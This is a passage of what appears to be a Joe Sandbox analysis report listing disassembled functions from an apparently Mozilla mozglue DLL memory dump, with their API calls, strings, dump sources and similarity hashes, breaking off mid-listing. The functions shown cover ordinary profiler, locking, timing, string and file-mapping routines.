Function 6C7F6660 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 162threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(6C81F618), ref: 6C7F6694
GetThreadId.KERNEL32(?), ref: 6C7F66B1
GetCurrentThreadId.KERNEL32 ref: 6C7F66B9
memset.VCRUNTIME140(?,00000000,00000100), ref: 6C7F66E1
EnterCriticalSection.KERNEL32(6C81F618), ref: 6C7F6734
GetCurrentProcess.KERNEL32 ref: 6C7F673A
LeaveCriticalSection.KERNEL32(6C81F618), ref: 6C7F676C
GetCurrentThread.KERNEL32 ref: 6C7F67FC
memset.VCRUNTIME140(?,00000000,000002C8), ref: 6C7F6868
RtlCaptureContext.NTDLL ref: 6C7F687F

Strings

WalkStack64, xrefs: 6C7F6890

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID: CriticalCurrentSectionThread$memset$CaptureContextEnterInitializeLeaveProcess
String ID: WalkStack64
API String ID: 2357170935-3499369396
Opcode ID: 4bff853ba2be0100cfbb63af21d73c0c411b3c5a8330302ca0f38e9c3a4790b0
Instruction ID: d2f45311d7b94a2bcb0b834dbf0a8bdfac94883dc92cee8de6611c3532058e15
Opcode Fuzzy Hash: 4bff853ba2be0100cfbb63af21d73c0c411b3c5a8330302ca0f38e9c3a4790b0
Instruction Fuzzy Hash: 57516F71A09302AFD721CF25CA85A5ABBF4BF89718F00492DF5A997B40D770E905CB92

Function 6C7DDE60 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 135threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C7D9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C7A4A68), ref: 6C7D945E
Part of subcall function 6C7D9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C7D9470
Part of subcall function 6C7D9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C7D9482
Part of subcall function 6C7D9420: __Init_thread_footer.LIBCMT ref: 6C7D949F

GetCurrentThreadId.KERNEL32 ref: 6C7DDE73
GetCurrentThreadId.KERNEL32 ref: 6C7DDF7D
AcquireSRWLockExclusive.KERNEL32(6C81F4B8), ref: 6C7DDF8A
ReleaseSRWLockExclusive.KERNEL32(6C81F4B8), ref: 6C7DDFC9
GetCurrentThreadId.KERNEL32 ref: 6C7DDFF7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C7DE000
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C7A4A68), ref: 6C7DDE7B

Part of subcall function 6C7D94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C7D94EE
Part of subcall function 6C7D94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C7D9508

Part of subcall function 6C7CCBE8: GetCurrentProcess.KERNEL32(?,6C7931A7), ref: 6C7CCBF1
Part of subcall function 6C7CCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C7931A7), ref: 6C7CCBFA

?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C7A4A68), ref: 6C7DDEB8
free.MOZGLUE(00000000,?,6C7A4A68), ref: 6C7DDEFE
?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C7DDF38

Strings

<none>, xrefs: 6C7DDFD7
[I %d/%d] locked_profiler_stop, xrefs: 6C7DDE83
[I %d/%d] profiler_set_process_name("%s", "%s"), xrefs: 6C7DE00E

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID: CurrentThread$getenv$ExclusiveLockProcessRelease_getpid$AcquireBufferEnterExit@mozilla@@Init_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@ProfilerRegisterTerminate__acrt_iob_func__stdio_common_vfprintffree
String ID: <none>$[I %d/%d] locked_profiler_stop$[I %d/%d] profiler_set_process_name("%s", "%s")
API String ID: 1281939033-809102171
Opcode ID: dec5615ba76c91c5297e539752b91880da378fbaf7e15c0517b6289336077f0c
Instruction ID: 98351d9b94e4f61c2bc5ca17b11784a51abf74ca4d4e5e8c86966bf82cb765e9
Opcode Fuzzy Hash: dec5615ba76c91c5297e539752b91880da378fbaf7e15c0517b6289336077f0c
Instruction Fuzzy Hash: 924106717012129BEB309F65DA0D7AA77F5EBA530DF150439E92997F01CB30A805CBEA

Function 6C7ED840 Relevance: 21.2, APIs: 14, Instructions: 206threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C7ED85F
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C7ED86C
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C7ED918
GetCurrentThreadId.KERNEL32 ref: 6C7ED93C
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C7ED948
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C7ED970
GetCurrentThreadId.KERNEL32 ref: 6C7ED976
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C7ED982
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C7ED9CF
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C7EDA2E
GetCurrentThreadId.KERNEL32 ref: 6C7EDA6F
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C7EDA78
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE ref: 6C7EDA91

Part of subcall function 6C7B5C50: GetTickCount64.KERNEL32 ref: 6C7B5D40
Part of subcall function 6C7B5C50: EnterCriticalSection.KERNEL32(6C81F688), ref: 6C7B5D67

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C7EDAB7

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Count64CriticalEnterSectionStampTickTimeV01@@Value@mozilla@@Xbad_function_call@std@@
String ID:
API String ID: 1195625958-0
Opcode ID: dc61e21695b1cf995bcf1c4af091b607629f218132188e6bfb0003dd3ea1451a
Instruction ID: 15e70a343995ee62624768a419ccb97c1ae7a475e033726eab4ac417fbb7bb85
Opcode Fuzzy Hash: dc61e21695b1cf995bcf1c4af091b607629f218132188e6bfb0003dd3ea1451a
Instruction Fuzzy Hash: F771AE756043059FCB10CF28C888BAABBF5FF89318F15857EE85A9B701DB30A945CB91

Function 6C7ED4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C7ED4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C7ED4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C7ED52A
GetCurrentThreadId.KERNEL32 ref: 6C7ED530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C7ED53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C7ED55F
free.MOZGLUE(00000000), ref: 6C7ED585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C7ED5D3
GetCurrentThreadId.KERNEL32 ref: 6C7ED5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C7ED605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C7ED652
GetCurrentThreadId.KERNEL32 ref: 6C7ED658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C7ED667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C7ED6A2

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: f200789d4f6e552fa571feda080e33b4ef926fd1e0bc811512a612117211af34
Instruction ID: feb9c13713543a68e640a8f28b90fb3482ec2eb7311862828c72b12d9a772009
Opcode Fuzzy Hash: f200789d4f6e552fa571feda080e33b4ef926fd1e0bc811512a612117211af34
Instruction Fuzzy Hash: 085160B1604706DFC714DF34C588AAABBF4FF89358F10862EE85A87B11DB30A945CB95

Function 6C7B5670 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 272timeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_APP_RESTART), ref: 6C7B56D1
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C7B56E9
?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ.MOZGLUE ref: 6C7B56F1
?TicksFromMilliseconds@BaseTimeDurationPlatformUtils@mozilla@@SA_JN@Z.MOZGLUE ref: 6C7B5744
??0TimeStampValue@mozilla@@AAE@_K0_N@Z.MOZGLUE(?,?,?,?,?), ref: 6C7B57BC
GetTickCount64.KERNEL32 ref: 6C7B58CB
EnterCriticalSection.KERNEL32(6C81F688), ref: 6C7B58F3
__aulldiv.LIBCMT ref: 6C7B5945
LeaveCriticalSection.KERNEL32(6C81F688), ref: 6C7B59B2
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(6C81F638,?,?,?,?), ref: 6C7B59E9

Strings

MOZ_APP_RESTART, xrefs: 6C7B56CC

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID: Time$CriticalSectionStampStamp@mozilla@@Value@mozilla@@$BaseComputeCount64DurationEnterFromLeaveMilliseconds@Now@PlatformProcessTickTicksUptime@Utils@mozilla@@V01@@V12@___aulldivgetenv
String ID: MOZ_APP_RESTART
API String ID: 2752551254-2657566371
Opcode ID: fe1581bc2544104f1ced3d7969ec329467fda25f668d80da41e9f3ca6ae9f03b
Instruction ID: db4c2057f08c811ef6dc1e7589bac625f91fde9d4933c323bb62b001ad00c81a
Opcode Fuzzy Hash: fe1581bc2544104f1ced3d7969ec329467fda25f668d80da41e9f3ca6ae9f03b
Instruction Fuzzy Hash: CFC1A071A083419FD715CF28D54566ABBF1FFDA718F058A2DE4C8A7B21D730A885CB82

Function 6C7DEC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C7D9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C7A4A68), ref: 6C7D945E
Part of subcall function 6C7D9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C7D9470
Part of subcall function 6C7D9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C7D9482
Part of subcall function 6C7D9420: __Init_thread_footer.LIBCMT ref: 6C7D949F

GetCurrentThreadId.KERNEL32 ref: 6C7DEC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C7DEC8C

Part of subcall function 6C7D94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C7D94EE
Part of subcall function 6C7D94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C7D9508

GetCurrentThreadId.KERNEL32 ref: 6C7DECA1
AcquireSRWLockExclusive.KERNEL32(6C81F4B8), ref: 6C7DECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6C7DECC5
ReleaseSRWLockExclusive.KERNEL32(6C81F4B8), ref: 6C7DED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C7DED19
CloseHandle.KERNEL32(?), ref: 6C7DED28
free.MOZGLUE(00000000), ref: 6C7DED2F
ReleaseSRWLockExclusive.KERNEL32(6C81F4B8), ref: 6C7DED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6C7DEC94

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: 31ac60bef4d2166a946fbff221923ef03627a1517d1236a7aa8fb315a1fb2200
Instruction ID: da48f8e58e8be1b5525afcc6f822121e9d9c46a83fc7a8bf193b556a1d703504
Opcode Fuzzy Hash: 31ac60bef4d2166a946fbff221923ef03627a1517d1236a7aa8fb315a1fb2200
Instruction Fuzzy Hash: 432107B160010A9FDB119F65D90EBAB77B9EB5626DF114230FC1897F41DB31A805CBE1

Function 6C7D8ED0 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 311COMMON

Download Yara Rule

APIs

Part of subcall function 6C79EB30: free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C79EB83

?FormatToStringSpan@MarkerSchema@mozilla@@CA?AV?$Span@$$CBD$0PPPPPPPP@@2@W4Format@12@@Z.MOZGLUE(?,?,00000004,?,?,?,?,?,?,6C7DB392,?,?,00000001), ref: 6C7D91F4

Part of subcall function 6C7CCBE8: GetCurrentProcess.KERNEL32(?,6C7931A7), ref: 6C7CCBF1
Part of subcall function 6C7CCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C7931A7), ref: 6C7CCBFA

Strings

timeline-overview, xrefs: 6C7D907A
timeline-ipc, xrefs: 6C7D9096
timeline-memory, xrefs: 6C7D9088
marker-table, xrefs: 6C7D906C
stack-chart, xrefs: 6C7D90B2
data, xrefs: 6C7D90E8
timeline-fileio, xrefs: 6C7D90A4
name, xrefs: 6C7D8F16
marker-chart, xrefs: 6C7D905E

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID: Process$CurrentFormatFormat@12@@MarkerP@@2@Schema@mozilla@@Span@Span@$$StringTerminatefree
String ID: data$marker-chart$marker-table$name$stack-chart$timeline-fileio$timeline-ipc$timeline-memory$timeline-overview
API String ID: 3790164461-3347204862
Opcode ID: 101a1cdd923d40e0bb818f8bc4ef1c94c67860c8164bfe4cdd0d0b3c2af45fab
Instruction ID: 3d360b7210752a7d3eadde5285749d55867da089339b6c8dba3f8ecad2021078
Opcode Fuzzy Hash: 101a1cdd923d40e0bb818f8bc4ef1c94c67860c8164bfe4cdd0d0b3c2af45fab
Instruction Fuzzy Hash: D0B1F6B1B0120A9BCB14CF94CA5ABEEBBB5BF95318F514529D4016BF80DB31E909CBD1

Function 6C7BC570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C7BC5A3
WideCharToMultiByte.KERNEL32 ref: 6C7BC9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C7BC9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6C7BCA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C7BCA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C7BCAA5

Strings

(null), xrefs: 6C7BC596
0, xrefs: 6C7BD30A

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: 055fcc5be3e914ba3d4ee96a12819413b03bbc51e64dd7feb807d73a93decf1a
Instruction ID: f2096fc9fa2625f0c1bb6b166f3aa7bbec5bf5100c6e6152790296d7ff3473e0
Opcode Fuzzy Hash: 055fcc5be3e914ba3d4ee96a12819413b03bbc51e64dd7feb807d73a93decf1a
Instruction Fuzzy Hash: F5A1BE706083428FDB10DF28C658B5ABBE1FF89749F08882DE999E7742D735D805CB92

Function 6C7BC769 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 159COMMON

Download Yara Rule

APIs

islower.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C7BC784
_dsign.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C7BC801
_dtest.API-MS-WIN-CRT-MATH-L1-1-0(?), ref: 6C7BC83D
?ToPrecision@DoubleToStringConverter@double_conversion@@QBE_NNHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C7BC891

Strings

nan, xrefs: 6C7BC7A8
inf, xrefs: 6C7BC78F
NAN, xrefs: 6C7BC7AD
INF, xrefs: 6C7BC794

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@DoublePrecision@_dsign_dtestislower
String ID: INF$NAN$inf$nan
API String ID: 1991403756-4166689840
Opcode ID: 5b7241043ed908665e870c8595995970d8c8a4e59917d51a6cf01e3eb7f7d970
Instruction ID: 0aa9d390b03ff304164d3e7f9924376408baf8bcd205ed426c1d9f1e132419e3
Opcode Fuzzy Hash: 5b7241043ed908665e870c8595995970d8c8a4e59917d51a6cf01e3eb7f7d970
Instruction Fuzzy Hash: F651A4706087808BD710DF2DC68569AFBF0BF9A349F008A2DE9D5A7651E770D988CB42

Function 6C793480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6C793284,?,?,6C7B56F6), ref: 6C793492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6C793284,?,?,6C7B56F6), ref: 6C7934A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6C793284,?,?,6C7B56F6), ref: 6C7934EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6C79350E
__Init_thread_footer.LIBCMT ref: 6C793522
__aulldiv.LIBCMT ref: 6C793552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6C793284,?,?,6C7B56F6), ref: 6C79357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6C793284,?,?,6C7B56F6), ref: 6C793592

Part of subcall function 6C7CAB89: EnterCriticalSection.KERNEL32(6C81E370,?,?,?,6C7934DE,6C81F6CC,?,?,?,?,?,?,?,6C793284), ref: 6C7CAB94
Part of subcall function 6C7CAB89: LeaveCriticalSection.KERNEL32(6C81E370,?,6C7934DE,6C81F6CC,?,?,?,?,?,?,?,6C793284,?,?,6C7B56F6), ref: 6C7CABD1

Strings

kernel32.dll, xrefs: 6C7934EA
GetSystemTimePreciseAsFileTime, xrefs: 6C793508

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: db4188aa938f5a8a655dc0245f766d5c41115697102f47f2980e6417f345c011
Instruction ID: 6ba2f47bbb3b7bcc473afbb8cf48a841a7088857fd2565d2d28547d075485447
Opcode Fuzzy Hash: db4188aa938f5a8a655dc0245f766d5c41115697102f47f2980e6417f345c011
Instruction Fuzzy Hash: 0A31B0B0B002079BDF20DFB5DA49AAA77F5FB59309F100439E505D3B50DB30A900CBA1

Function 6C794480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6C7D4843,?), ref: 6C7945F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6C7D4843,?), ref: 6C79468A
free.MOZGLUE(?,?,?,?,?,?,6C7D4843,?), ref: 6C7946C9
free.MOZGLUE(?), ref: 6C7946EF
free.MOZGLUE(?), ref: 6C794712
free.MOZGLUE(?), ref: 6C794735
free.MOZGLUE(?), ref: 6C794758
free.MOZGLUE(?), ref: 6C79477B
free.MOZGLUE(?), ref: 6C79479E

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: d49a6bb3c43cd2d8e24f57f8cbde39c7083861655b0eb536f3ff87f92f4cfce1
Instruction ID: 34697c7e0ab59ca8f9e19feeea48fdc045594e5b4f889d2357d0a79d7cdfe900
Opcode Fuzzy Hash: d49a6bb3c43cd2d8e24f57f8cbde39c7083861655b0eb536f3ff87f92f4cfce1
Instruction Fuzzy Hash: 6CB1F372A001108FDB18DE7CEE9876D77B6AF42328F184679E436DFB92D73098409B81

Function 6C7FAC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6C7FAC52
CreateFileMappingW.KERNEL32 ref: 6C7FAC7D
GetSystemInfo.KERNEL32 ref: 6C7FAC98
MapViewOfFile.KERNEL32 ref: 6C7FACB0
GetSystemInfo.KERNEL32 ref: 6C7FACCD
MapViewOfFile.KERNEL32 ref: 6C7FAD05
UnmapViewOfFile.KERNEL32 ref: 6C7FAD1C
CloseHandle.KERNEL32 ref: 6C7FAD28
UnmapViewOfFile.KERNEL32 ref: 6C7FAD37
CloseHandle.KERNEL32 ref: 6C7FAD43
CloseHandle.KERNEL32 ref: 6C7FAD67

Memory Dump Source

Source File: 00000000.00000002.2331076341.000000006C791000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000000.00000002.2331046164.000000006C790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331152818.000000006C80D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331177792.000000006C81E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2331203873.000000006C822000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c790000_Rnteb46TuM.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: 45c219b8a0a300bbf8f03d7957d8243a6b66858b6d05360e9e256866320ab043
Instruction ID: df0144a9a4d24f138bee199134bf90cef9de784b4d04b5c53b03395a4b1a6dd0
Opcode Fuzzy Hash: 45c219b8a0a300bbf8f03d7957d8243a6b66858b6d05360e9e256866320ab043
Instruction Fuzzy Hash: 4C315EB1A047058FDB00AF78D68A26EBBF0BF85319F01493DE99987711EB709459CB92

Function 6C7A9620 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 103libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C7A9675
__Init_thread_footer.LIBCMT ref: 6C7A9697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C7A96E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C7A9707
__Init_thread_footer.LIBCMT ref: 6C7A971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C7A9773

